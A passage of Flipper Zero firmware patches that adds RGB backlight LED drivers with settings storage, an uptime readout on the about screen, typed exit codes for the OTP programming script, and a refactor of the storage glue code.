{"Magenta", 210, 0, 210}, + {"Pink", 255, 0, 127}, + {"Red", 255, 0, 0}, + {"White", 140, 140, 140}, +}; + +uint8_t rgb_backlight_get_color_count(void) { + return COLOR_COUNT; +} + +const char* rgb_backlight_get_color_text(uint8_t index) { + return colors[index].name; +} + +void rgb_backlight_load_settings(void) { + //Не загружать данные из внутренней памяти при загрузке в режиме DFU + FuriHalRtcBootMode bm = furi_hal_rtc_get_boot_mode(); + if(bm == FuriHalRtcBootModeDfu) { + rgb_settings.settings_is_loaded = true; + return; + } + + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + + FURI_LOG_I(TAG, "loading settings from \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING); + + if(fs_result) { + uint16_t bytes_count = storage_file_read(file, &settings, settings_size); + + if(bytes_count != settings_size) { + fs_result = false; + } + } + + if(fs_result) { + FURI_LOG_I(TAG, "load success"); + if(settings.version != RGB_BACKLIGHT_SETTINGS_VERSION) { + FURI_LOG_E( + TAG, + "version(%d != %d) mismatch", + settings.version, + RGB_BACKLIGHT_SETTINGS_VERSION); + } else { + memcpy(&rgb_settings, &settings, settings_size); + } + } else { + FURI_LOG_E(TAG, "load failed, %s", storage_file_get_error_desc(file)); + } + + storage_file_close(file); + storage_file_free(file); + furi_record_close(RECORD_STORAGE); + rgb_settings.settings_is_loaded = true; +}; + +void rgb_backlight_save_settings(void) { + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + + FURI_LOG_I(TAG, "saving settings to \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + + memcpy(&settings, &rgb_settings, settings_size); + + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS); + + if(fs_result) { + uint16_t bytes_count = storage_file_write(file, &settings, settings_size); + + if(bytes_count != settings_size) { + fs_result = false; + } + } + + if(fs_result) { + FURI_LOG_I(TAG, "save success"); + } else { + FURI_LOG_E(TAG, "save failed, %s", storage_file_get_error_desc(file)); + } + + storage_file_close(file); + storage_file_free(file); + furi_record_close(RECORD_STORAGE); +}; + +RGBBacklightSettings* rgb_backlight_get_settings(void) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + return &rgb_settings; +} + +void rgb_backlight_set_color(uint8_t color_index) { + if(color_index > (rgb_backlight_get_color_count() - 1)) color_index = 0; + rgb_settings.display_color_index = color_index; +} + +void rgb_backlight_update(uint8_t brightness) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + + static uint8_t last_color_index = 255; + static uint8_t last_brightness = 123; + + if(last_brightness == brightness && last_color_index == rgb_settings.display_color_index) + return; + + last_brightness = brightness; + last_color_index = rgb_settings.display_color_index; + + for(uint8_t i = 0; i < SK6805_get_led_count(); i++) { + uint8_t r = colors[rgb_settings.display_color_index].red * (brightness / 255.0f); + uint8_t g = colors[rgb_settings.display_color_index].green * (brightness / 255.0f); + uint8_t b = colors[rgb_settings.display_color_index].blue * (brightness / 255.0f); + + SK6805_set_led_color(i, r, g, b); + } + + SK6805_update(); +} diff --git a/applications/settings/notification_settings/rgb_backlight.h b/applications/settings/notification_settings/rgb_backlight.h new file mode 100644 index 000000000..b63d223e6 --- /dev/null +++ b/applications/settings/notification_settings/rgb_backlight.h @@ -0,0 +1,79 @@ +/* + RGB backlight FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include +#include "SK6805.h" + +typedef struct { + char* name; + uint8_t red; + uint8_t green; + uint8_t blue; +} RGBBacklightColor; + +typedef struct { + uint8_t version; + uint8_t display_color_index; + bool settings_is_loaded; +} RGBBacklightSettings; + +/** + * @brief Получить текущие настройки RGB-подсветки + * + * @return Указатель на структуру настроек + */ +RGBBacklightSettings* rgb_backlight_get_settings(void); + +/** + * @brief Загрузить настройки подсветки с SD-карты + */ +void rgb_backlight_load_settings(void); + +/** + * @brief Сохранить текущие настройки RGB-подсветки + */ +void rgb_backlight_save_settings(void); + +/** + * @brief Применить текущие настройки RGB-подсветки + * + * @param brightness Яркость свечения (0-255) + */ +void rgb_backlight_update(uint8_t brightness); + +/** + * @brief Установить цвет RGB-подсветки + * + * @param color_index Индекс цвета (0 - rgb_backlight_get_color_count()) + */ +void rgb_backlight_set_color(uint8_t color_index); + +/** + * @brief Получить количество доступных цветов + * + * @return Число доступных вариантов цвета + */ +uint8_t rgb_backlight_get_color_count(void); + +/** + * @brief Получить текстовое название цвета + * + * @param index Индекс из доступных вариантов цвета + * @return Указатель на строку с названием цвета + */ +const char* rgb_backlight_get_color_text(uint8_t index); \ No newline at end of file diff --git a/firmware/targets/f7/furi_hal/furi_hal_light.c b/firmware/targets/f7/furi_hal/furi_hal_light.c index 83e1603b7..e01fe7dc6 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_light.c +++ b/firmware/targets/f7/furi_hal/furi_hal_light.c @@ -3,6 +3,8 @@ #include #include #include +#include +#include #define LED_CURRENT_RED 50 #define LED_CURRENT_GREEN 50 @@ -42,9 +44,13 @@ void furi_hal_light_set(Light light, uint8_t value) { lp5562_set_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelBlue, value); } if(light & LightBacklight) { - uint8_t prev = lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); - lp5562_execute_ramp( - &furi_hal_i2c_handle_power, LP5562Engine1, LP5562ChannelWhite, prev, value, 100); + if(XTREME_SETTINGS()->rgb_backlight) { + rgb_backlight_update(value); + } else { + uint8_t prev = lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); + lp5562_execute_ramp( + &furi_hal_i2c_handle_power, LP5562Engine1, LP5562ChannelWhite, prev, value, 100); + } } furi_hal_i2c_release(&furi_hal_i2c_handle_power); } diff --git a/lib/drivers/SK6805.c b/lib/drivers/SK6805.c new file mode 100644 index 000000000..572e1df97 --- /dev/null +++ b/lib/drivers/SK6805.c @@ -0,0 +1,101 @@ +/* + SK6805 FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "SK6805.h" +#include + +/* Настройки */ +#define SK6805_LED_COUNT 3 //Количество светодиодов на плате подсветки +#define SK6805_LED_PIN &led_pin //Порт подключения светодиодов + +#ifdef FURI_DEBUG +#define DEBUG_PIN &gpio_ext_pa7 +#define DEBUG_INIT() \ + furi_hal_gpio_init(DEBUG_PIN, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh) +#define DEBUG_SET_HIGH() furi_hal_gpio_write(DEBUG_PIN, true) +#define DEBUG_SET_LOW() furi_hal_gpio_write(DEBUG_PIN, false) +#else +#define DEBUG_INIT() +#define DEBUG_SET_HIGH() +#define DEBUG_SET_LOW() +#endif + +static const GpioPin led_pin = {.port = GPIOA, .pin = LL_GPIO_PIN_8}; +static uint8_t led_buffer[SK6805_LED_COUNT][3]; + +void SK6805_init(void) { + DEBUG_INIT(); + furi_hal_gpio_write(SK6805_LED_PIN, false); + furi_hal_gpio_init(SK6805_LED_PIN, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +} + +uint8_t SK6805_get_led_count(void) { + return (const uint8_t)SK6805_LED_COUNT; +} +void SK6805_set_led_color(uint8_t led_index, uint8_t r, uint8_t g, uint8_t b) { + furi_check(led_index < SK6805_LED_COUNT); + + led_buffer[led_index][0] = g; + led_buffer[led_index][1] = r; + led_buffer[led_index][2] = b; +} + +void SK6805_update(void) { + SK6805_init(); + furi_kernel_lock(); + uint32_t end; + /* Последовательная отправка цветов светодиодов */ + for(uint8_t lednumber = 0; lednumber < SK6805_LED_COUNT; lednumber++) { + //Последовательная отправка цветов светодиода + for(uint8_t color = 0; color < 3; color++) { + //Последовательная отправка битов цвета + uint8_t i = 0b10000000; + while(i != 0) { + if(led_buffer[lednumber][color] & (i)) { + furi_hal_gpio_write(SK6805_LED_PIN, true); + DEBUG_SET_HIGH(); + end = DWT->CYCCNT + 30; + //T1H 600 us (615 us) + while(DWT->CYCCNT < end) { + } + furi_hal_gpio_write(SK6805_LED_PIN, false); + DEBUG_SET_LOW(); + end = DWT->CYCCNT + 26; + //T1L 600 us (587 us) + while(DWT->CYCCNT < end) { + } + } else { + furi_hal_gpio_write(SK6805_LED_PIN, true); + DEBUG_SET_HIGH(); + end = DWT->CYCCNT + 11; + //T0H 300 ns (312 ns) + while(DWT->CYCCNT < end) { + } + furi_hal_gpio_write(SK6805_LED_PIN, false); + DEBUG_SET_LOW(); + end = DWT->CYCCNT + 43; + //T0L 900 ns (890 ns) + while(DWT->CYCCNT < end) { + } + } + i >>= 1; + } + } + } + furi_kernel_unlock(); +} diff --git a/lib/drivers/SK6805.h b/lib/drivers/SK6805.h new file mode 100644 index 000000000..7c58956fa --- /dev/null +++ b/lib/drivers/SK6805.h @@ -0,0 +1,51 @@ +/* + SK6805 FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef SK6805_H_ +#define SK6805_H_ + +#include + +/** + * @brief Инициализация линии управления подсветкой + */ +void SK6805_init(void); + +/** + * @brief Получить количество светодиодов в подсветке + * + * @return Количество светодиодов + */ +uint8_t SK6805_get_led_count(void); + +/** + * @brief Установить цвет свечения светодиода + * + * @param led_index номер светодиода (от 0 до SK6805_get_led_count()) + * @param r значение красного (0-255) + * @param g значение зелёного (0-255) + * @param b значение синего (0-255) + */ +void SK6805_set_led_color(uint8_t led_index, uint8_t r, uint8_t g, uint8_t b); + +/** + * @brief Обновление состояния подсветки дисплея + */ +void SK6805_update(void); + +#endif /* SK6805_H_ */ \ No newline at end of file diff --git a/lib/drivers/WS2812B.c b/lib/drivers/WS2812B.c new file mode 100644 index 000000000..598dfba08 --- /dev/null +++ b/lib/drivers/WS2812B.c @@ -0,0 +1,212 @@ +/* + WS2812B FlipperZero driver + Copyright (C) 2022 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "WS2812B.h" +#include +#include +#include "furi_hal_light.h" +#include +#include +#include +#include + +#define TAG "RGB Backlight" +#define RGB_BACKLIGHT_SETTINGS_VERSION 5 +#define RGB_BACKLIGHT_SETTINGS_FILE_NAME ".rgb_backlight.settings" +#define RGB_BACKLIGHT_SETTINGS_PATH EXT_PATH(RGB_BACKLIGHT_SETTINGS_FILE_NAME) + +static uint8_t WS2812B_ledbuffer[WS2812B_LEDS][3]; + +static RGBBacklightSettings rgb_settings = { + .version = RGB_BACKLIGHT_SETTINGS_VERSION, + .display_color_index = 0, + .settings_is_loaded = false}; + +#define COLOR_COUNT (sizeof(colors) / sizeof(WS2812B_Color)) + +const WS2812B_Color colors[] = { + {"Orange", 255, 79, 0}, + {"Yellow", 255, 170, 0}, + {"Spring", 167, 255, 0}, + {"Lime", 0, 255, 0}, + {"Aqua", 0, 255, 127}, + {"Cyan", 0, 210, 210}, + {"Azure", 0, 127, 255}, + {"Blue", 0, 0, 255}, + {"Purple", 127, 0, 255}, + {"Magenta", 210, 0, 210}, + {"Pink", 255, 0, 127}, + {"Red", 255, 0, 0}, + {"White", 140, 140, 140}, +}; + +static void _port_init(void) { + furi_hal_gpio_write(LED_PIN, true); + furi_hal_gpio_init(LED_PIN, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +} + +void WS2812B_send(void) { + _port_init(); + furi_kernel_lock(); + /* Последовательная отправка цветов светодиодов */ + for(uint8_t lednumber = 0; lednumber < WS2812B_LEDS; lednumber++) { + //Последовательная отправка цветов светодиода + for(uint8_t color = 0; color < 3; color++) { + //Последовательная отправка битов цвета + for(uint8_t i = 7; i != 255; i--) { + if(WS2812B_ledbuffer[lednumber][color] & (1 << i)) { + furi_hal_gpio_write(LED_PIN, true); + uint32_t start = DWT->CYCCNT; + while((DWT->CYCCNT - start) < 31) { + } + furi_hal_gpio_write(LED_PIN, false); + start = DWT->CYCCNT; + while((DWT->CYCCNT - start) < 15) { + } + } else { + furi_hal_gpio_write(LED_PIN, true); + uint32_t start = DWT->CYCCNT; + while((DWT->CYCCNT - start) < 15) { + } + furi_hal_gpio_write(LED_PIN, false); + start = DWT->CYCCNT; + while((DWT->CYCCNT - start) < 31) { + } + } + } + } + } + furi_kernel_unlock(); + //Необходимая задержка - признак окончания передачи + furi_delay_us(100); +} + +uint8_t rgb_backlight_get_color_count(void) { + return COLOR_COUNT; +} + +const char* rgb_backlight_get_color_text(uint8_t index) { + return colors[index].name; +} + +static void rgb_backlight_load_settings(void) { + _port_init(); + + FuriHalRtcBootMode bm = furi_hal_rtc_get_boot_mode(); + if(bm == FuriHalRtcBootModeDfu) { + rgb_settings.settings_is_loaded = true; + return; + } + + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + + FURI_LOG_I(TAG, "loading settings from \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING); + + if(fs_result) { + uint16_t bytes_count = storage_file_read(file, &settings, settings_size); + + if(bytes_count != settings_size) { + fs_result = false; + } + } + + if(fs_result) { + FURI_LOG_I(TAG, "load success"); + if(settings.version != RGB_BACKLIGHT_SETTINGS_VERSION) { + FURI_LOG_E( + TAG, + "version(%d != %d) mismatch", + settings.version, + RGB_BACKLIGHT_SETTINGS_VERSION); + } else { + memcpy(&rgb_settings, &settings, settings_size); + } + } else { + FURI_LOG_E(TAG, "load failed, %s", storage_file_get_error_desc(file)); + } + + storage_file_close(file); + storage_file_free(file); + furi_record_close(RECORD_STORAGE); + rgb_settings.settings_is_loaded = true; +}; + +void rgb_backlight_save_settings(void) { + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + + FURI_LOG_I(TAG, "saving settings to \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + + memcpy(&settings, &rgb_settings, settings_size); + + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS); + + if(fs_result) { + uint16_t bytes_count = storage_file_write(file, &settings, settings_size); + + if(bytes_count != settings_size) { + fs_result = false; + } + } + + if(fs_result) { + FURI_LOG_I(TAG, "save success"); + } else { + FURI_LOG_E(TAG, "save failed, %s", storage_file_get_error_desc(file)); + } + + storage_file_close(file); + storage_file_free(file); + furi_record_close(RECORD_STORAGE); +}; + +RGBBacklightSettings* rgb_backlight_get_settings(void) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + return &rgb_settings; +} + +void rgb_backlight_set_color(uint8_t color_index) { + rgb_settings.display_color_index = color_index; +} + +void rgb_backlight_update(uint8_t backlight) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + for(uint8_t i = 0; i < WS2812B_LEDS; i++) { + //Green + WS2812B_ledbuffer[i][0] = + colors[rgb_settings.display_color_index].green * (backlight / 255.0f); + //Red + WS2812B_ledbuffer[i][1] = + colors[rgb_settings.display_color_index].red * (backlight / 255.0f); + //Blue + WS2812B_ledbuffer[i][2] = + colors[rgb_settings.display_color_index].blue * (backlight / 255.0f); + } + + WS2812B_send(); +} diff --git a/lib/drivers/WS2812B.h b/lib/drivers/WS2812B.h new file mode 100644 index 000000000..4f0dfabce --- /dev/null +++ b/lib/drivers/WS2812B.h @@ -0,0 +1,54 @@ +/* + WS2812B FlipperZero driver + Copyright (C) 2022 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef WS2812B_H_ +#define WS2812B_H_ + +#include "furi.h" +#include +#include +#include + +typedef struct { + uint8_t version; + uint8_t display_color_index; + bool settings_is_loaded; +} RGBBacklightSettings; + +typedef struct { + char* name; + uint8_t red; + uint8_t green; + uint8_t blue; +} WS2812B_Color; + +#define LED_PIN &gpio_ext_pa7 +#define WS2812B_LEDS 3 + +void rgb_backlight_save_settings(void); + +void rgb_backlight_update(uint8_t backlight); + +void rgb_backlight_set_color(uint8_t color_index); +void rgb_backlight_set_color(uint8_t color_index); + +RGBBacklightSettings* rgb_backlight_get_settings(void); +uint8_t rgb_backlight_get_color_count(void); +const char* rgb_backlight_get_color_text(uint8_t index); + +#endif /* WS2812B_H_ */ \ No newline at end of file From 54d66a940263d863d5e8c05d49805957be76cb8c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 04:28:25 +0000 Subject: [PATCH 181/329] Add uptime timer to desktop hold right --- applications/settings/about/about.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/applications/settings/about/about.c b/applications/settings/about/about.c index e0fa8204e..bf0b8acfc 100644 --- a/applications/settings/about/about.c +++ b/applications/settings/about/about.c @@ -284,6 +284,10 @@ static void battery_info_draw_callback(Canvas* canvas, void* context) { elements_button_left(canvas, "Back"); elements_button_right(canvas, "Next"); + char uptime[17]; + uint32_t sec = furi_get_tick() / furi_kernel_get_tick_frequency(); + snprintf(uptime, sizeof(uptime), "Up %02lu:%02lu:%02lu", sec / 3600, sec / 60 % 60, sec % 60); + canvas_draw_str_aligned(canvas, 64, 61, AlignCenter, AlignBottom, uptime); } static bool battery_info_input_callback(InputEvent* event, void* context) { From 6ec62f48f99520711b601bb89c0f614f7e6143ca Mon Sep 17 00:00:00 2001 From: Sergey Gavrilov Date: Mon, 20 Mar 2023 05:07:17 -0700 Subject: [PATCH 182/329] [FL-3180] OTP programmer: return exit code based on error type (#2504) --- scripts/flipper/utils/programmer_openocd.py | 27 ++++++++++---- scripts/otp.py | 39 +++++++++++++-------- 2 files changed, 45 insertions(+), 21 deletions(-) diff --git a/scripts/flipper/utils/programmer_openocd.py b/scripts/flipper/utils/programmer_openocd.py index b33406103..3d2171854 100644 --- a/scripts/flipper/utils/programmer_openocd.py +++ b/scripts/flipper/utils/programmer_openocd.py @@ -1,6 +1,7 @@ import logging import os import typing +from enum import Enum from flipper.utils.programmer import Programmer from flipper.utils.openocd import OpenOCD @@ -8,6 +9,14 @@ from flipper.utils.stm32wb55 import STM32WB55 from flipper.assets.obdata import OptionBytesData +class OpenOCDProgrammerResult(Enum): + Success = 0 + ErrorGeneric = 1 + ErrorAlignment = 2 + ErrorAlreadyWritten = 3 + ErrorValidation = 4 + + class OpenOCDProgrammer(Programmer): def __init__( self, @@ -199,18 +208,18 @@ class OpenOCDProgrammer(Programmer): return True - def otp_write(self, address: int, file_path: str) -> bool: + def otp_write(self, address: int, file_path: str) -> OpenOCDProgrammerResult: # Open file, check that it aligned to 8 bytes with open(file_path, "rb") as f: data = f.read() if len(data) % 8 != 0: self.logger.error(f"File {file_path} is not aligned to 8 bytes") - return False + return OpenOCDProgrammerResult.ErrorAlignment # Check that address is aligned to 8 bytes if address % 8 != 0: self.logger.error(f"Address {address} is not aligned to 8 bytes") - return False + return OpenOCDProgrammerResult.ErrorAlignment # Get size of data data_size = len(data) @@ -218,7 +227,7 @@ class OpenOCDProgrammer(Programmer): # Check that data size is aligned to 8 bytes if data_size % 8 != 0: self.logger.error(f"Data size {data_size} is not aligned to 8 bytes") - return False + return OpenOCDProgrammerResult.ErrorAlignment self.logger.debug(f"Writing {data_size} bytes to OTP at {address:08X}") self.logger.debug(f"Data: {data.hex().upper()}") @@ -241,14 +250,14 @@ class OpenOCDProgrammer(Programmer): self.logger.error( f"OTP memory at {address + i:08X} is not empty: {device_word:08X}" ) - raise Exception("OTP memory is not empty") + return OpenOCDProgrammerResult.ErrorAlreadyWritten if device_word != file_word: already_written = False if already_written: self.logger.info(f"OTP memory is already written with the given data") - return True + return OpenOCDProgrammerResult.Success self.reset(self.RunMode.Stop) stm32.clear_flash_errors(oocd) @@ -278,4 +287,8 @@ class OpenOCDProgrammer(Programmer): stm32.reset(oocd, stm32.RunMode.Run) oocd.stop() - return validation_result + return ( + OpenOCDProgrammerResult.Success + if validation_result + else OpenOCDProgrammerResult.ErrorValidation + ) diff --git a/scripts/otp.py b/scripts/otp.py index 3bfe30d2d..cb76bdc86 100755 --- a/scripts/otp.py +++ b/scripts/otp.py @@ -34,8 +34,16 @@ OTP_DISPLAYS = { } from flipper.app import App -from flipper.cube import CubeProgrammer -from flipper.utils.programmer_openocd import OpenOCDProgrammer +from flipper.utils.programmer_openocd import OpenOCDProgrammer, OpenOCDProgrammerResult + + +class OTPException(Exception): + def __init__(self, message: str, result: OpenOCDProgrammerResult): + self.message = message + self.result = result + + def get_exit_code(self) -> int: + return int(self.result.value) class Main(App): @@ -183,13 +191,14 @@ class Main(App): self.args.serial, ) - if not openocd.otp_write(0x1FFF7000, filename): - raise Exception("Failed to flash OTP") + programmer_result = openocd.otp_write(0x1FFF7000, filename) + if programmer_result != OpenOCDProgrammerResult.Success: + raise OTPException("Failed to flash OTP", programmer_result) self.logger.info(f"Flashed Successfully") - except Exception as e: + except OTPException as e: self.logger.exception(e) - return 1 + return e.get_exit_code() finally: os.remove(filename) @@ -215,13 +224,14 @@ class Main(App): self.args.serial, ) - if not openocd.otp_write(0x1FFF7010, filename): - raise Exception("Failed to flash OTP") + programmer_result = openocd.otp_write(0x1FFF7010, filename) + if programmer_result != OpenOCDProgrammerResult.Success: + raise OTPException("Failed to flash OTP", programmer_result) self.logger.info(f"Flashed Successfully") - except Exception as e: + except OTPException as e: self.logger.exception(e) - return 1 + return e.get_exit_code() finally: os.remove(filename) @@ -249,13 +259,14 @@ class Main(App): self.args.serial, ) - if not openocd.otp_write(0x1FFF7000, filename): - raise Exception("Failed to flash OTP") + programmer_result = openocd.otp_write(0x1FFF7000, filename) + if programmer_result != OpenOCDProgrammerResult.Success: + raise OTPException("Failed to flash OTP", programmer_result) self.logger.info(f"Flashed Successfully") - except Exception as e: + except OTPException as e: self.logger.exception(e) - return 1 + return e.get_exit_code() finally: os.remove(filename) From f7024cff786751309f67ca3cdbf6d527b9eb5214 Mon Sep 17 00:00:00 2001 From: Sergey Gavrilov Date: Mon, 20 Mar 2023 06:09:10 -0700 Subject: [PATCH 183/329] SD Driver: reinit sd card on error (#2493) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * SD Driver: reinit sd card on error * SD Driver: cleanup fatfs bindings * Storage: optimized glue * Storage: move fatfs initialization to appropriate subsystems, minor code cleanup * SD Driver: minor code cleanup Co-authored-by: あく --- applications/services/storage/storage_glue.c | 61 ++--- applications/services/storage/storage_glue.h | 2 +- .../services/storage/storage_processing.c | 8 +- .../services/storage/storages/storage_ext.c | 4 +- firmware/targets/f18/furi_hal/furi_hal.c | 6 - firmware/targets/f7/fatfs/fatfs.c | 47 +--- firmware/targets/f7/fatfs/fatfs.h | 50 +--- firmware/targets/f7/fatfs/ffconf.h | 2 +- firmware/targets/f7/fatfs/syscall.c | 116 --------- firmware/targets/f7/fatfs/user_diskio.c | 228 ++++++++---------- firmware/targets/f7/fatfs/user_diskio.h | 40 +-- firmware/targets/f7/furi_hal/furi_hal.c | 6 - firmware/targets/f7/src/update.c | 2 +- 13 files changed, 154 insertions(+), 418 deletions(-) delete mode 100644 firmware/targets/f7/fatfs/syscall.c diff --git a/applications/services/storage/storage_glue.c b/applications/services/storage/storage_glue.c index 5dabfa386..63e44c9d7 100644 --- a/applications/services/storage/storage_glue.c +++ b/applications/services/storage/storage_glue.c @@ -73,29 +73,34 @@ uint32_t storage_data_get_timestamp(StorageData* storage) { /****************** storage glue ******************/ -bool storage_has_file(const File* file, StorageData* storage_data) { - bool result = false; +static StorageFile* storage_get_file(const File* file, StorageData* storage) { + StorageFile* storage_file_ref = NULL; StorageFileList_it_t it; - for(StorageFileList_it(it, storage_data->files); !StorageFileList_end_p(it); + for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); StorageFileList_next(it)) { - const StorageFile* storage_file = StorageFileList_cref(it); + StorageFile* storage_file = StorageFileList_ref(it); if(storage_file->file->file_id == file->file_id) { - result = true; + storage_file_ref = storage_file; break; } } - return result; + return storage_file_ref; } -bool storage_path_already_open(FuriString* path, StorageFileList_t array) { +bool storage_has_file(const File* file, StorageData* storage) { + return storage_get_file(file, storage) != NULL; +} + +bool storage_path_already_open(FuriString* path, StorageData* storage) { bool open = false; StorageFileList_it_t it; - for(StorageFileList_it(it, array); !StorageFileList_end_p(it); StorageFileList_next(it)) { + for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); + StorageFileList_next(it)) { const StorageFile* storage_file = StorageFileList_cref(it); if(furi_string_cmp(storage_file->path, path) == 0) { @@ -108,43 +113,15 @@ bool storage_path_already_open(FuriString* path, StorageFileList_t array) { } void storage_set_storage_file_data(const File* file, void* file_data, StorageData* storage) { - StorageFile* founded_file = NULL; - - StorageFileList_it_t it; - - for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); - StorageFileList_next(it)) { - StorageFile* storage_file = StorageFileList_ref(it); - - if(storage_file->file->file_id == file->file_id) { - founded_file = storage_file; - break; - } - } - - furi_check(founded_file != NULL); - - founded_file->file_data = file_data; + StorageFile* storage_file_ref = storage_get_file(file, storage); + furi_check(storage_file_ref != NULL); + storage_file_ref->file_data = file_data; } void* storage_get_storage_file_data(const File* file, StorageData* storage) { - const StorageFile* founded_file = NULL; - - StorageFileList_it_t it; - - for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); - StorageFileList_next(it)) { - const StorageFile* storage_file = StorageFileList_cref(it); - - if(storage_file->file->file_id == file->file_id) { - founded_file = storage_file; - break; - } - } - - furi_check(founded_file != NULL); - - return founded_file->file_data; + StorageFile* storage_file_ref = storage_get_file(file, storage); + furi_check(storage_file_ref != NULL); + return storage_file_ref->file_data; } void storage_push_storage_file(File* file, FuriString* path, StorageData* storage) { diff --git a/applications/services/storage/storage_glue.h b/applications/services/storage/storage_glue.h index bf0a1c69e..f10640345 100644 --- a/applications/services/storage/storage_glue.h +++ b/applications/services/storage/storage_glue.h @@ -60,7 +60,7 @@ struct StorageData { }; bool storage_has_file(const File* file, StorageData* storage_data); -bool storage_path_already_open(FuriString* path, StorageFileList_t files); +bool storage_path_already_open(FuriString* path, StorageData* storage_data); void storage_set_storage_file_data(const File* file, void* file_data, StorageData* storage); void* storage_get_storage_file_data(const File* file, StorageData* storage); diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index a3076f271..e6b426961 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -77,7 +77,7 @@ static void storage_path_change_to_real_storage(FuriString* path, StorageType re } } -FS_Error storage_get_data(Storage* app, FuriString* path, StorageData** storage) { +static FS_Error storage_get_data(Storage* app, FuriString* path, StorageData** storage) { StorageType type = storage_get_type_by_path(path); if(storage_type_is_valid(type)) { @@ -111,7 +111,7 @@ bool storage_process_file_open( file->error_id = storage_get_data(app, path, &storage); if(file->error_id == FSE_OK) { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { file->error_id = FSE_ALREADY_OPEN; } else { if(access_mode & FSAM_WRITE) { @@ -268,7 +268,7 @@ bool storage_process_dir_open(Storage* app, File* file, FuriString* path) { file->error_id = storage_get_data(app, path, &storage); if(file->error_id == FSE_OK) { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { file->error_id = FSE_ALREADY_OPEN; } else { storage_push_storage_file(file, path, storage); @@ -357,7 +357,7 @@ static FS_Error storage_process_common_remove(Storage* app, FuriString* path) { 